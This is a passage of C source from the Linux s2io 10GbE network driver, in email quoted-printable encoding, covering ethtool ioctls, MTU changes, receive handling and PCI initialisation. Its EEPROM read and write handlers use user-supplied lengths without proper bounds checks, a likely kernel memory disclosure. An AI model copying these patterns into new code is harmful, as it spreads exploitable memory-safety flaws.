ETHTOOL_GPAUSEPARAM };=0A= =0A= s2io_ethtool_getpause_data(sp, &ep);=0A= if (copy_to_user(data, &ep, sizeof(ep)))=0A= return -EFAULT;=0A= break;=0A= =0A= }=0A= case ETHTOOL_SPAUSEPARAM:=0A= {=0A= struct ethtool_pauseparam ep;=0A= =0A= if (copy_from_user(&ep, data, sizeof(ep)))=0A= return -EFAULT;=0A= s2io_ethtool_setpause_data(sp, &ep);=0A= break;=0A= }=0A= case ETHTOOL_GRXCSUM:=0A= {=0A= struct ethtool_value ev =3D { ETHTOOL_GRXCSUM };=0A= ev.data =3D (dev->features & NETIF_F_HW_CSUM);=0A= =0A= if (copy_to_user(data, &ev, sizeof(ev)))=0A= return -EFAULT;=0A= break;=0A= }=0A= case ETHTOOL_GTXCSUM:=0A= {=0A= struct ethtool_value ev =3D { ETHTOOL_GTXCSUM };=0A= ev.data =3D (dev->features & NETIF_F_HW_CSUM);=0A= =0A= if (copy_to_user(data, &ev, sizeof(ev)))=0A= return -EFAULT;=0A= break;=0A= }=0A= case ETHTOOL_GSG:=0A= {=0A= struct ethtool_value ev =3D { ETHTOOL_GSG };=0A= ev.data =3D (dev->features & NETIF_F_SG);=0A= =0A= if (copy_to_user(data, &ev, sizeof(ev)))=0A= return -EFAULT;=0A= break;=0A= }=0A= #ifdef NETIF_F_TSO=0A= case ETHTOOL_GTSO:=0A= {=0A= struct ethtool_value ev =3D { ETHTOOL_GTSO };=0A= ev.data =3D (dev->features & NETIF_F_TSO);=0A= =0A= if (copy_to_user(data, &ev, sizeof(ev)))=0A= return -EFAULT;=0A= break;=0A= }=0A= #endif=0A= case ETHTOOL_SRXCSUM:=0A= case ETHTOOL_STXCSUM:=0A= {=0A= struct ethtool_value ev;=0A= =0A= if (copy_from_user(&ev, data, sizeof(ev)))=0A= return -EFAULT;=0A= =0A= if (ev.data)=0A= dev->features |=3D NETIF_F_HW_CSUM;=0A= else=0A= dev->features &=3D ~NETIF_F_HW_CSUM;=0A= break;=0A= }=0A= case ETHTOOL_SSG:=0A= {=0A= struct ethtool_value ev;=0A= =0A= if (copy_from_user(&ev, data, sizeof(ev)))=0A= return -EFAULT;=0A= =0A= if (ev.data)=0A= dev->features |=3D NETIF_F_SG;=0A= else=0A= dev->features &=3D ~NETIF_F_SG;=0A= break;=0A= }=0A= #ifdef NETIF_F_TSO=0A= case ETHTOOL_STSO:=0A= {=0A= struct ethtool_value ev;=0A= =0A= if (copy_from_user(&ev, data, sizeof(ev)))=0A= return -EFAULT;=0A= =0A= if (ev.data)=0A= dev->features |=3D NETIF_F_TSO;=0A= else=0A= dev->features &=3D ~NETIF_F_TSO;=0A= break;=0A= }=0A= #endif=0A= case ETHTOOL_GEEPROM:=0A= {=0A= struct ethtool_eeprom eeprom =3D { ETHTOOL_GEEPROM };=0A= char *data_buf;=0A= int ret =3D 0;=0A= =0A= if (copy_from_user(&eeprom, data, sizeof(eeprom)))=0A= return -EFAULT;=0A= =0A= if (eeprom.len <=3D 0)=0A= return -EINVAL;=0A= =0A= if (!=0A= (data_buf =3D=0A= kmalloc(XENA_EEPROM_SPACE, GFP_KERNEL)))=0A= return -ENOMEM;=0A= s2io_ethtool_geeprom(sp, &eeprom, data_buf);=0A= =0A= if (copy_to_user(data, &eeprom, sizeof(eeprom))) {=0A= ret =3D -EFAULT;=0A= goto last_geprom;=0A= }=0A= =0A= data +=3D offsetof(struct ethtool_eeprom, data);=0A= =0A= if (copy_to_user=0A= (data, (void *) data_buf, eeprom.len)) {=0A= ret =3D -EFAULT;=0A= goto last_geprom;=0A= }=0A= =0A= last_geprom:=0A= kfree(data_buf);=0A= if (ret)=0A= return ret;=0A= break;=0A= }=0A= case ETHTOOL_SEEPROM:=0A= {=0A= struct ethtool_eeprom eeprom;=0A= unsigned char *data_buf;=0A= void *ptr;=0A= int ret =3D 0;=0A= =0A= if (copy_from_user(&eeprom, data, sizeof(eeprom)))=0A= return -EFAULT;=0A= =0A= if (!(data_buf =3D kmalloc(eeprom.len, GFP_KERNEL)))=0A= return -ENOMEM;=0A= ptr =3D (void *) data_buf;=0A= =0A= data +=3D offsetof(struct ethtool_eeprom, data);=0A= if (copy_from_user(ptr, data, eeprom.len)) {=0A= ret =3D -EFAULT;=0A= goto last_seprom;=0A= }=0A= =0A= if ((eeprom.offset + eeprom.len) >=0A= (XENA_EEPROM_SPACE)) {=0A= DBG_PRINT(ERR_DBG, "%s Write ", dev->name);=0A= DBG_PRINT(ERR_DBG, "request overshoots ");=0A= DBG_PRINT(ERR_DBG, "the EEPROM area\n");=0A= ret =3D -EFAULT;=0A= goto last_seprom;=0A= }=0A= if (s2io_ethtool_seeprom(sp, &eeprom, data_buf)) {=0A= ret =3D -EFAULT;=0A= goto last_seprom;=0A= }=0A= =0A= last_seprom:=0A= kfree(data_buf);=0A= if (ret)=0A= return ret;=0A= break;=0A= }=0A= case ETHTOOL_GSTRINGS:=0A= {=0A= struct ethtool_gstrings gstrings =3D=0A= { ETHTOOL_GSTRINGS };=0A= char *strings =3D NULL;=0A= int ret =3D 0;=0A= =0A= if (copy_from_user=0A= (&gstrings, data, sizeof(gstrings)))=0A= return -EFAULT;=0A= =0A= switch (gstrings.string_set) {=0A= case ETH_SS_TEST:=0A= gstrings.len =3D S2IO_TEST_LEN;=0A= strings =3D kmalloc(S2IO_STRINGS_LEN,=0A= GFP_KERNEL);=0A= if (!strings)=0A= return -ENOMEM;=0A= memcpy(strings, s2io_gstrings,=0A= S2IO_STRINGS_LEN);=0A= break;=0A= default:=0A= return -EOPNOTSUPP;=0A= }=0A= =0A= if (copy_to_user=0A= (data, &gstrings, sizeof(gstrings)))=0A= ret =3D -EFAULT;=0A= if (!ret) {=0A= data +=3D=0A= offsetof(struct ethtool_gstrings,=0A= data);=0A= if (copy_to_user=0A= (data, strings, S2IO_STRINGS_LEN))=0A= ret =3D -EFAULT;=0A= }=0A= kfree(strings);=0A= if (ret)=0A= return ret;=0A= break;=0A= }=0A= case ETHTOOL_TEST:=0A= {=0A= struct {=0A= struct ethtool_test ethtest;=0A= uint64_t data[S2IO_TEST_LEN];=0A= } test =3D { {=0A= ETHTOOL_TEST}};=0A= int err;=0A= =0A= if (copy_from_user(&test.ethtest, data,=0A= sizeof(test.ethtest)))=0A= return -EFAULT;=0A= =0A= err =3D=0A= s2io_ethtool_test(sp, &test.ethtest,=0A= test.data);=0A= =0A= if (err) {=0A= DBG_PRINT(ERR_DBG, "%s:For Online",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG,=0A= " tests, the Interface must");=0A= DBG_PRINT(ERR_DBG, " be Up\n");=0A= return -EFAULT;=0A= }=0A= if (copy_to_user(data, &test, sizeof(test)))=0A= return -EFAULT;=0A= =0A= break;=0A= }=0A= default:=0A= return -EOPNOTSUPP;=0A= }=0A= =0A= return 0;=0A= }=0A= #endif /* CONFIGURE_ETHTOOL_SUPPORT */=0A= =0A= /*=0A= * Input Argument/s: =0A= * dev - Device pointer.=0A= * ifr - An IOCTL specefic structure, that can contain a pointer to=0A= * a proprietary structure used to pass information to the driver.=0A= * cmd - This is used to distinguish between the different commands = that=0A= * can be passed to the IOCTL functions.=0A= * Return value:=0A= * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= * file on failure.=0A= * Description:=0A= * This function has support for ethtool, adding multiple MAC addresses = on =0A= * the NIC and some DBG commands for the util tool.=0A= */=0A= int s2io_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)=0A= {=0A= switch (cmd) {=0A= case SIOCETHTOOL:=0A= {=0A= return s2io_ethtool(dev, rq);=0A= }=0A= default:=0A= return -EOPNOTSUPP;=0A= break;=0A= }=0A= =0A= return SUCCESS;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * dev - device pointer.=0A= * new_mtu - the new MTU size for the device.=0A= * Return value:=0A= * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= * file on failure.=0A= * Description:=0A= * A driver entry point to change MTU size for the device. Before = changing=0A= * the MTU the device must be stopped.=0A= */=0A= int s2io_change_mtu(struct net_device *dev, int new_mtu)=0A= {=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= register u64 val64;=0A= =0A= if (netif_running(dev)) {=0A= DBG_PRINT(ERR_DBG, "%s: Must be stopped to ", dev->name);=0A= DBG_PRINT(ERR_DBG, "change its MTU \n");=0A= return -EBUSY;=0A= }=0A= =0A= if ((new_mtu < MIN_MTU) || (new_mtu > S2IO_JUMBO_SIZE)) {=0A= DBG_PRINT(ERR_DBG, "%s: MTU size is invalid.\n",=0A= dev->name);=0A= return -EPERM;=0A= }=0A= =0A= /* Set the new MTU into the PYLD register of the NIC */=0A= val64 =3D new_mtu;=0A= write64(&bar0->rmac_max_pyld_len, vBIT(val64, 2, 14));=0A= =0A= dev->mtu =3D new_mtu;=0A= =0A= return SUCCESS;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * dev_adr - address of the device structure in dma_addr_t format.=0A= * Return value:=0A= * void.=0A= * Description:=0A= * This is the tasklet or the bottom half of the ISR. This is=0A= * an extension of the ISR which is scheduled by the scheduler to be = run =0A= * when the load on the CPU is low. All low priority tasks of the ISR = can=0A= * be pushed into the tasklet. For now the tasklet is used only to =0A= * replenish the Rx buffers in the Rx buffer descriptors.=0A= */=0A= static void s2io_tasklet(unsigned long dev_addr)=0A= {=0A= struct net_device *dev =3D (struct net_device *) dev_addr;=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= int i, ret;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &sp->mac_control;=0A= config =3D &sp->config;=0A= =0A= if (!test_and_set_bit(0, (unsigned long *) (&sp->tasklet_status))) {=0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= ret =3D fill_rx_buffers(sp, i);=0A= if (ret =3D=3D -ENOMEM) {=0A= DBG_PRINT(ERR_DBG, "%s: Out of ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "memory in tasklet\n");=0A= return;=0A= } else if (ret =3D=3D -EFILL) {=0A= DBG_PRINT(ERR_DBG,=0A= "%s: Rx Ring %d is full\n",=0A= dev->name, i);=0A= return;=0A= }=0A= }=0A= clear_bit(0, (unsigned long *) (&sp->tasklet_status));=0A= }=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * dev - device pointer.=0A= * Return value:=0A= * void=0A= * Description:=0A= * This function is triggered if the Tx Queue is stopped=0A= * for a pre-defined amount of time when the Interface is still up.=0A= * If the Interface is jammed in such a situation, the hardware is=0A= * reset (by s2io_close) and restarted again (by s2io_open) to=0A= * overcome any problem that might have been caused in the hardware.=0A= */=0A= static void s2io_tx_watchdog(struct net_device *dev)=0A= {=0A= nic_t *sp =3D (nic_t *) dev->priv;=0A= =0A= if (netif_carrier_ok(dev)) {=0A= s2io_close(dev);=0A= sp->device_close_flag =3D TRUE;=0A= s2io_open(dev);=0A= DBG_PRINT(INFO_DBG,=0A= "%s: was reset by Tx watchdog timer.\n",=0A= dev->name);=0A= }=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * skb - the socket buffer pointer.=0A= * len - length of the packet=0A= * cksum - FCS checksum of the frame.=0A= * ring_no - the ring from which this RxD was extracted.=0A= * Return value:=0A= * SUCCESS on success and -1 on failure.=0A= * Description: =0A= * This function is called by the Tx interrupt serivce routine to = perform =0A= * some OS related operations on the SKB before passing it to the upper=0A= * layers. It mainly checks if the checksum is OK, if so adds it to the=0A= * SKBs cksum variable, increments the Rx packet count and passes the = SKB=0A= * to the upper layer. If the checksum is wrong, it increments the Rx=0A= * packet error count, frees the SKB and returns error.=0A= */=0A= static int rxOsmHandler(nic_t * sp, u16 len, RxD_t * rxdp, int ring_no)=0A= {=0A= struct net_device *dev =3D (struct net_device *) sp->dev;=0A= struct sk_buff *skb =3D=0A= (struct sk_buff *) ((unsigned long) rxdp->Host_Control);=0A= u16 l3_csum, l4_csum;=0A= =0A= l3_csum =3D RXD_GET_L3_CKSUM(rxdp->Control_1);=0A= if (rxdp->Control_1 & TCP_OR_UDP_FRAME) {=0A= l4_csum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= if ((l3_csum =3D=3D L3_CKSUM_OK) && (l4_csum =3D=3D L4_CKSUM_OK)) {=0A= skb->ip_summed =3D CHECKSUM_UNNECESSARY;=0A= skb->csum =3D l4_csum;=0A= } else {=0A= /* Erroneous checksum, let the upper layers deal with =0A= * it.=0A= */=0A= skb->ip_summed =3D CHECKSUM_NONE;=0A= }=0A= } else {=0A= skb->ip_summed =3D CHECKSUM_NONE;=0A= }=0A= =0A= skb->dev =3D dev;=0A= skb_put(skb, len);=0A= skb->protocol =3D eth_type_trans(skb, dev);=0A= =0A= #ifdef CONFIGURE_NAPI_SUPPORT=0A= netif_receive_skb(skb);=0A= #else=0A= netif_rx(skb);=0A= #endif=0A= =0A= dev->last_rx =3D jiffies;=0A= #if DEBUG_ON=0A= sp->rxpkt_cnt++;=0A= #endif=0A= sp->rx_pkt_count++;=0A= sp->stats.rx_packets++;=0A= sp->stats.rx_bytes +=3D len;=0A= sp->rxpkt_bytes +=3D len;=0A= =0A= atomic_dec(&sp->rx_bufs_left[ring_no]);=0A= rxdp->Host_Control =3D 0;=0A= return SUCCESS;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * link - inidicates whether link is UP/DOWN.=0A= * Return value:=0A= * void.=0A= * Description:=0A= * This function stops/starts the Tx queue depending on whether the link=0A= * status of the NIC is is down or up. This is called by the Alarm = interrupt =0A= * handler whenever a link change interrupt comes up. =0A= */=0A= void s2io_link(nic_t * sp, int link)=0A= {=0A= struct net_device *dev =3D (struct net_device *) sp->dev;=0A= =0A= if (link =3D=3D 0) {=0A= DBG_PRINT(ERR_DBG, "%s: Link down\n", dev->name);=0A= netif_carrier_off(dev);=0A= netif_stop_queue(dev);=0A= } else {=0A= DBG_PRINT(ERR_DBG, "%s: Link Up\n", dev->name);=0A= netif_carrier_on(dev);=0A= netif_wake_queue(dev);=0A= }=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * pdev - structure containing the PCI related information of the = device.=0A= * Return value:=0A= * returns the revision ID of the device.=0A= * Description:=0A= * Function to identify the Revision ID of xena.=0A= */=0A= int get_xena_rev_id(struct pci_dev *pdev)=0A= {=0A= u8 id =3D 0;=0A= int ret;=0A= ret =3D pci_read_config_byte(pdev, PCI_REVISION_ID, (u8 *) & id);=0A= return id;=0A= }=0A= =0A= /*=0A= * Input Argument/s: =0A= * sp - private member of the device structure, which is a pointer to = the =0A= * s2io_nic structure.=0A= * Return value:=0A= * void=0A= * Description:=0A= * This function initializes a few of the PCI and PCI-X configuration = registers=0A= * with recommended values.=0A= */=0A= static void s2io_init_pci(nic_t * sp)=0A= {=0A= u16 pci_cmd =3D 0;=0A= =0A= /* Enable Data Parity Error Recovery in PCI-X command register. */=0A= pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= &(sp->pcix_cmd));=0A= pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= (sp->pcix_cmd | 1));=0A= pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= &(sp->pcix_cmd));=0A= =0A= /* Set the PErr Response bit in PCI command register. */=0A= pci_read_config_word(sp->pdev, PCI_COMMAND, &pci_cmd);=0A= pci_write_config_word(sp->pdev, PCI_COMMAND,=0A= (pci_cmd | PCI_COMMAND_PARITY));=0A= pci_read_config_word(sp->pdev, PCI_COMMAND, &pci_cmd);=0A= =0A= /* Set user specified value in Latency Timer */=0A= if (latency_timer) {=0A= pci_write_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= latency_timer);=0A= pci_read_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= &latency_timer);=0A= pci_write_config_byte(sp->pdev, PCI_LATENCY_TIMER,=0A= latency_timer);=0A= }=0A= =0A= /* Set MMRB count to 4096 in PCI-X Command register. */=0A= pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= (sp->pcix_cmd | 0x0C));=0A= pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= &(sp->pcix_cmd));=0A= =0A= /* Setting Maximum outstanding splits to two for now. */=0A= /*Grisha : first clear out the OST field */=0A= sp->pcix_cmd &=3D 0xFF1F;=0A= =0A= sp->pcix_cmd |=3D=0A= XENA_MAX_OUTSTANDING_SPLITS(XENA_TWO_SPLIT_TRANSACTION);=0A= pci_write_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= sp->pcix_cmd);=0A= pci_read_config_word(sp->pdev, PCIX_COMMAND_REGISTER,=0A= &(sp->pcix_cmd));=0A= =0A= }=0A= =0A= #ifdef AS_A_MODULE=0A= MODULE_AUTHOR("Raghavendra Koushik ");=0A= MODULE_LICENSE("GPL");=0A= MODULE_PARM(ring_num, "1-" __MODULE_STRING(1) "i");=0A= MODULE_PARM(frame_len, "1-" __MODULE_STRING(8) "i");=0A= MODULE_PARM(ring_len, "1-" __MODULE_STRING(8) "i");=0A= MODULE_PARM(fifo_num, "1-" __MODULE_STRING(1) "i");=0A= MODULE_PARM(fifo_len, "1-" __MODULE_STRING(8) "i");=0A= MODULE_PARM(rx_prio, "1-" __MODULE_STRING(1) "i");=0A= MODULE_PARM(tx_prio, "1-" __MODULE_STRING(1) "i");=0A= MODULE_PARM(latency_timer, "1-" __MODULE_STRING(1) "i");=0A= #endif=0A= =0A= /*=0A= * Input Argument/s: =0A= * pdev - structure containing the PCI related information of the = device.=0A= * pre - the List of PCI devices supported by the driver listed in = s2io_tbl.=0A= * Return value:=0A= * returns '0'(SUCCESS) on success and negative on failure.=0A= * Description:=0A= * The function initializes an adapter identified by the pci_dec = structure.=0A= * All OS related initialization including memory and device structure = and =0A= * initlaization of the device private variable is done. Also the = swapper =0A= * control register is initialized to enable read and write into the I/O =0A= * registers of the device.=0A= * =0A= */=0A= static int __devinit=0A= s2io_init_nic(struct pci_dev *pdev, const struct pci_device_id *pre)=0A= {=0A= nic_t *sp;=0A= struct net_device *dev;=0A= char *dev_name =3D "S2IO 10GE NIC";=0A= int i, j, ret;=0A= int dma_flag =3D FALSE;=0A= u32 mac_up, mac_down;=0A= u64 val64 =3D 0, tmp64 =3D 0;=0A= XENA_dev_config_t *bar0 =3D NULL;=0A= u16 subid;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= =0A= if ((ret =3D pci_enable_device(pdev))) {=0A= DBG_PRINT(ERR_DBG,=0A= "s2io_init_nic: pci_enable_device failed\n");=0A= return ret;=0A= }=0A= =0A= if (!pci_set_dma_mask(pdev, 0xffffffffffffffff)) {=0A= DBG_PRINT(INIT_DBG, "s2io_init_nic: Using 64bit DMA\n");=0A= dma_flag =3D TRUE;=0A= =0A= #if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,00)=0A= if (pci_set_consistent_dma_mask=0A= (pdev, 0xffffffffffffffffULL)) {=0A= DBG_PRINT(ERR_DBG,=0A= "Unable to obtain 64bit DMA for \=0A= consistent allocations\n");=0A= return -ENOMEM;=0A= }=0A= #endif=0A= } else if (!pci_set_dma_mask(pdev, 0xffffffff)) {=0A= DBG_PRINT(INIT_DBG, "s2io_init_nic: Using 32bit DMA\n");=0A= } else {=0A= pci_disable_device(pdev);=0A= return -ENOMEM;=0A= }=0A= =0A= if (pci_request_regions(pdev, s2io_driver_name)) {=0A= DBG_PRINT(ERR_DBG, "Request Regions failed\n"),=0A= pci_disable_device(pdev);=0A= return -ENODEV;=0A= }=0A= =0A= dev =3D alloc_etherdev(sizeof(nic_t));=0A= if (dev =3D=3D NULL) {=0A= DBG_PRINT(ERR_DBG, "Device allocation failed\n");=0A= pci_disable_device(pdev);=0A= pci_release_regions(pdev);=0A= return -ENODEV;=0A= }=0A= =0A= pci_set_master(pdev);=0A= pci_set_drvdata(pdev, dev);=0A= SET_MODULE_OWNER(dev);=0A= SET_NETDEV_DEV(dev, &pdev->dev);=0A= =0A= /* Private member variable initialized to s2io NIC structure */=0A= sp =3D (nic_t *) dev->priv;=0A= memset(sp, 0, sizeof(nic_t));=0A= sp->dev =3D dev;=0A= sp->pdev =3D pdev;=0A= sp->vendor_id =3D pdev->vendor;=0A= sp->device_id =3D pdev->device;=0A= sp->high_dma_flag =3D dma_flag;=0A= sp->irq =3D pdev->irq;=0A= sp->device_enabled_once =3D FALSE;=0A= strcpy(sp->name, dev_name);=0A= =0A= /* Initialize some PCI/PCI-X fields of the NIC. */=0A= s2io_init_pci(sp);=0A= =0A= /* Setting the device configuration parameters.=0A= * Most of these parameters can be specified by the user during module =0A= * insertion as they are module loadable parameters. If these =0A= * parameters are not not specified during load time, they are = initalized=0A= * with default values.=0A= */=0A= mac_control =3D &sp->mac_control;=0A= config =3D &sp->config;=0A= =0A= /* Tx side parameters. */=0A= config->TxFIFONum =3D fifo_num ? fifo_num : 1;=0A= =0A= if (!fifo_len[0] && (fifo_num > 1)) {=0A= printk(KERN_ERR "Fifo Lens not specified for all FIFOs\n");=0A= goto init_failed;=0A= }=0A= =0A= if (fifo_len[0]) {=0A= int cnt;=0A= =0A= for (cnt =3D 0; fifo_len[cnt]; cnt++);=0A= if (fifo_num) {=0A= if (cnt < fifo_num) {=0A= printk(KERN_ERR=0A= "Fifo Lens not specified for ");=0A= printk(KERN_ERR "all FIFOs\n");=0A= goto init_failed;=0A= }=0A= }=0A= for (cnt =3D 0; cnt < config->TxFIFONum; cnt++) {=0A= config->TxCfg[cnt].FifoLen =3D fifo_len[cnt];=0A= config->TxCfg[cnt].FifoPriority =3D cnt;=0A= }=0A= } else {=0A= config->TxCfg[0].FifoLen =3D DEFAULT_FIFO_LEN;=0A= config->TxCfg[0].FifoPriority =3D 0;=0A= }=0A= =0A= config->TxIntrType =3D TXD_INT_TYPE_UTILZ;=0A= for (i =3D 0; i < config->TxFIFONum; i++) {=0A= if (config->TxCfg[i].FifoLen < 64) {=0A= config->TxIntrType =3D TXD_INT_TYPE_PER_LIST;=0A= break;=0A= }=0A= }=0A= =0A= config->TxCfg[0].fNoSnoop =3D=0A= (NO_SNOOP_TXD | NO_SNOOP_TXD_BUFFER);=0A= config->MaxTxDs =3D MAX_SKB_FRAGS;=0A= config->TxFlow =3D TRUE;=0A= =0A= /* Rx side parameters. */=0A= config->RxRingNum =3D ring_num ? ring_num : 1;=0A= =0A= if (ring_len[0]) {=0A= int cnt;=0A= for (cnt =3D 0; cnt < config->RxRingNum; cnt++) {=0A= config->RxCfg[cnt].NumRxd =3D ring_len[cnt];=0A= config->RxCfg[cnt].RingPriority =3D cnt;=0A= }=0A= } else {=0A= int id;=0A= if ((id =3D get_xena_rev_id(pdev)) =3D=3D 1) {=0A= config->RxCfg[0].NumRxd =3D LARGE_RXD_CNT;=0A= =0A= } else {=0A= config->RxCfg[0].NumRxd =3D SMALL_RXD_CNT;=0A= }=0A= config->RxCfg[0].RingPriority =3D 0;=0A= }=0A= config->RxCfg[0].RingOrg =3D RING_ORG_BUFF1;=0A= config->RxCfg[0].RxdThresh =3D DEFAULT_RXD_THRESHOLD;=0A= config->RxCfg[0].fNoSnoop =3D=0A= (NO_SNOOP_RXD | NO_SNOOP_RXD_BUFFER);=0A= config->RxCfg[0].RxD_BackOff_Interval =3D TBD;=0A= config->RxFlow =3D TRUE;=0A= =0A= /* Miscellaneous parameters.*/=0A= config->RxVLANEnable =3D TRUE;=0A= config->MTU =3D MAX_MTU_VLAN;=0A= config->JumboEnable =3D FALSE;=0A= =0A= /* Setting Mac Control parameters */=0A= mac_control->txdl_len =3D MAX_SKB_FRAGS;=0A= mac_control->rmac_pause_time =3D 0;=0A= =0A= /* Initialize Ring buffer parameters. */=0A= for (i =3D 0; i < config->RxRingNum; i++)=0A= atomic_set(&sp->rx_bufs_left[i], 0);=0A= =0A= /* initialize the shared memory used by the NIC and the host */=0A= if (initSharedMem(sp)) {=0A= DBG_PRINT(ERR_DBG, "%s: Memory allocation failed\n",=0A= dev->name);=0A= goto mem_alloc_failed;=0A= }=0A= =0A= sp->bar0 =3D (caddr_t) ioremap(pci_resource_start(pdev, 0),=0A= pci_resource_len(pdev, 0));=0A= if (!sp->bar0) {=0A= DBG_PRINT(ERR_DBG, "%s: S2IO: cannot remap io mem1\n",=0A= dev->name);=0A= goto bar0_remap_failed;=0A= }=0A= =0A= sp->bar1 =3D (caddr_t) ioremap(pci_resource_start(pdev, 2),=0A= pci_resource_len(pdev, 2));=0A= if (!sp->bar1) {=0A= DBG_PRINT(ERR_DBG, "%s: S2IO: cannot remap io mem2\n",=0A= dev->name);=0A= goto bar1_remap_failed;=0A= }=0A= =0A= dev->irq =3D pdev->irq;=0A= dev->base_addr =3D (unsigned long) sp->bar0;=0A= sp =3D (nic_t *) dev->priv;=0A= =0A= /* Initializing the BAR1 address as the start of the FIFO pointer. */=0A= for (j =3D 0; j < MAX_TX_FIFOS; j++) {=0A= mac_control->tx_FIFO_start[j] =3D (TxFIFO_element_t *)=0A= (sp->bar1 + (j * 0x00020000));=0A= }=0A= =0A= /* Driver entry points */=0A= dev->open =3D &s2io_open;=0A= dev->stop =3D &s2io_close;=0A= dev->hard_start_xmit =3D &s2io_xmit;=0A= dev->get_stats =3D &s2io_get_stats;=0A= dev->set_multicast_list =3D &s2io_set_multicast;=0A= dev->set_mac_address =3D &s2io_set_mac_addr;=0A= dev->do_ioctl =3D &s2io_ioctl;=0A= dev->change_mtu =3D &s2io_change_mtu;=0A= #ifdef CONFIGURE_NAPI_SUPPORT=0A= dev->poll =3D s2io_poll;=0A= dev->weight =3D 128; /* For now. */=0A= #endif=0A= =0A= dev->features |=3D NETIF_F_SG | NETIF_F_HW_CSUM;=0A= if (sp->high_dma_flag =3D=3D TRUE)=0A= dev->features |=3D NETIF_F_HIGHDMA;=0A= #ifdef NETIF_F_TSO=0A= dev->features |=3D NETIF_F_TSO;=0A= #endif=0A= =0A= dev->tx_timeout =3D &s2io_tx_watchdog;=0A= dev->watchdog_timeo =3D WATCH_DOG_TIMEOUT;=0A= =0A= if (register_netdev(dev)) {=0A= DBG_PRINT(ERR_DBG, "Device registration failed\n");=0A= goto register_failed;=0A= }=0A= =0A= pci_save_state(sp->pdev, sp->config_space);=0A= =0A= /* Setting swapper control on the NIC, for proper reset operation */=0A= if (s2io_set_swapper(sp)) {=0A= DBG_PRINT(ERR_DBG, "%s:swapper settings are wrong\n",=0A= dev->name);=0A= goto set_swap_failed;=0A= }=0A= =0A= /* Fix for all "FFs" MAC address problems observed on Alpha platforms */=0A= FixMacAddress(sp);=0A= s2io_reset(sp);=0A= =0A= /* Setting swapper control on the NIC, so the MAC address can be read. */=0A= if (s2io_set_swapper(sp)) {=0A= DBG_PRINT(ERR_DBG,=0A= "%s: S2IO: swapper settings are wrong\n",=0A= dev->name);=0A= goto set_swap_failed;=0A= }=0A= =0A= /* MAC address initialization.=0A= * For now only one mac address will be read and used. */=0A= bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= val64 =3D RMAC_ADDR_CMD_MEM_RD | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= RMAC_ADDR_CMD_MEM_OFFSET(0 + MAC_MAC_ADDR_START_OFFSET);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= mdelay(500);=0A= tmp64 =3D read64(&bar0->rmac_addr_data0_mem);=0A= =0A= mac_down =3D (u32) tmp64;=0A= mac_up =3D (u32) (tmp64 >> 32);=0A= =0A= memset(sp->defMacAddr[0].mac_addr, 0, sizeof(ETH_ALEN));=0A= =0A= sp->defMacAddr[0].mac_addr[3] =3D (u8) (mac_up);=0A= sp->defMacAddr[0].mac_addr[2] =3D (u8) (mac_up >> 8);=0A= sp->defMacAddr[0].mac_addr[1] =3D (u8) (mac_up >> 16);=0A= sp->defMacAddr[0].mac_addr[0] =3D (u8) (mac_up >> 24);=0A= sp->defMacAddr[0].mac_addr[5] =3D (u8) (mac_down >> 16);=0A= sp->defMacAddr[0].mac_addr[4] =3D (u8) (mac_down >> 24);=0A= =0A= DBG_PRINT(INIT_DBG,=0A= "DEFAULT MAC ADDR:0x%02x-%02x-%02x-%02x-%02x-%02x\n",=0A= sp->defMacAddr[0].mac_addr[0],=0A= sp->defMacAddr[0].mac_addr[1],=0A= sp->defMacAddr[0].mac_addr[2],=0A= sp->defMacAddr[0].mac_addr[3],=0A= sp->defMacAddr[0].mac_addr[4],=0A= sp->defMacAddr[0].mac_addr[5]);=0A= =0A= /* Set the factory defined MAC address initially */=0A= dev->addr_len =3D ETH_ALEN;=0A= memcpy(dev->dev_addr, sp->defMacAddr, ETH_ALEN);=0A= =0A= /* Initialize the tasklet status flag */=0A= atomic_set(&(sp->tasklet_status), 0);=0A= =0A= =0A= /* Initialize spinlocks */=0A= spin_lock_init(&sp->isr_lock);=0A= spin_lock_init(&sp->tx_lock);=0A= =0A= /* SXE-002: Configure link and activity LED to init state =0A= * on driver load. =0A= */=0A= ret =3D=0A= pci_read_config_word(sp->pdev, PCI_SUBSYSTEM_ID,=0A= (u16 *) & subid);=0A= if ((subid & 0xFF) >=3D 0x07) {=0A= val64 =3D read64(&bar0->gpio_control);=0A= val64 |=3D 0x0000800000000000;=0A= write64(&bar0->gpio_control, val64);=0A= val64 =3D 0x0411040400000000;=0A= write64((u64 *) ((u8 *) bar0 + 0x2700), val64);=0A= }=0A= =0A= /* Make Link state as off at this point, when the Link change interrupt = comes=0A= * the state will be automatically changed to the right state.=0A= */=0A= 